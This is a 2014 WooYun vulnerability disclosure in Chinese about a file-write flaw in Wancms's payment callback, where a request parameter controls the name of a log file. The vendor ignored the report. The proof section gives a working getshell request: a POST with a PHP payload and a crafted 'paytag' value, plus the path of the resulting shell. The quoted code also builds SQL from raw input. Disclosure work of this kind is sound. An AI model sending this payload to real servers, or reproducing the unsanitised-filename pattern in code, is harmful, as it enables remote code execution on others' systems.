当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-049914

漏洞标题:Wancms文件写入漏洞(某些条件下可能导致代码执行)

相关厂商:31wan.cn

漏洞作者: Matt

提交时间:2014-03-03 11:02

修复时间:2014-05-29 11:03

公开时间:2014-05-29 11:03

漏洞类型:文件上传导致任意代码执行

危害等级:低

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-03-03: 细节已通知厂商并且等待厂商处理中
2014-03-13: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-05-07: 细节向核心白帽子及相关领域专家公开
2014-05-17: 细节向普通白帽子公开
2014-05-27: 细节向实习白帽子公开
2014-05-29: 细节向公众公开

简要描述:

Wancms getshell

详细说明:

app/lib/action/publicaction.class.php
class PublicAction extends Action
{
public function wirte_log_pay($log){

$fp = fopen($_SERVER['DOCUMENT_ROOT']."/app/Lib/Log/".$log['file']."_".date('Ymd',$_SERVER['REQUEST_TIME']) .'.log', "a");

$s=implode($log['split'],$log['data']);//写出文件 可以发现文件名中的一段可控 我们就能通过截断和解析漏洞来利用
fwrite($fp,$s."\r\n");
fclose($fp);
}


app/lib/action/Payaction.class.php
public function callback() {

$get = $_REQUEST;

$payway = $get ['paytag'];//
switch ($get ['paytag']) {
....省略若干不重要
}

$public = A ( 'Public' );
$model = M ( 'pay_ok' );
// 判断是否存在
$payorder = $model->where ( "orderid='{$get['orderid']}'" )->find ();

if (! $payorder) {
$public->wirte_log_pay ( array (
'data' => $get,//data 也就是request的值
'file' => 'pay_error_' . $payway,//文件名 payway是通过request来的
'split' => ' '
) );
$this->error ( '充值失败!订单号不存在!!!' );
}

漏洞证明:

利用方法
http://127.0.0.1/31wan/index.php/pay/callback/
POST提交x=<?php phpinfo();?>&paytag=1.php.2
shell是/app/Lib/Log/pay_error_1.php.2_20140127.log 后面改成今天的日期就哦了

QQ截图20140127013652.png

2.png

修复方案:

你猜

版权声明:转载请注明来源 Matt@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-05-29 11:03

厂商回复:

最新状态:

暂无